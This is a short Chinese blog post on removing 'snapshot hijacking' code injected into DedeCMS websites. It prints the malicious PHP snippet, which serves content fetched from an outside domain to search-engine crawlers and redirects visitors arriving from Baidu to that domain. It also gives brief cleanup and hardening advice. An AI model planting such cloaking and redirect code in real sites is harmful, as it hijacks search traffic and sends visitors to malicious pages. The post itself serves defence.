织梦百度快照劫持注入代码防范
if(strpos($_server[http_user_agent],”spider”)||strpos($_server[“http_user_agent”],”google”)>-1){ $str=file_get_contents(“http://域名.com/”);echo $str; } $domain=array(baidu,so); $fromurl=@strtolower($_server[http_referer]); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target=”http://域名.com/index.html”; header(“location:”.$target); exit; }}?>
单这段代码就直接把搜索引擎蜘蛛搞晕,带到别的恶意网址去。
把其删掉,如果在index.php里没找到,但还是存在类似的问题,可以用dw全站搜索下。
关于防范,空间,ftp账号,权限,后台账号之类都需要设置下,不能太过简单,可以看相关教程《织梦cms的安全设置专题》
ad:【百度云分享】大学生必备,互联网精品福利资源下载
未经允许不得转载:aft博客-给你需要的内容»织梦百度快照劫持注入代码防范
标签:织梦
上一篇织梦dedecms批量导入excel表文章内容插件下一篇网站缺失flash导致显示、上传等异常的解决方法及浏览器相关功能说明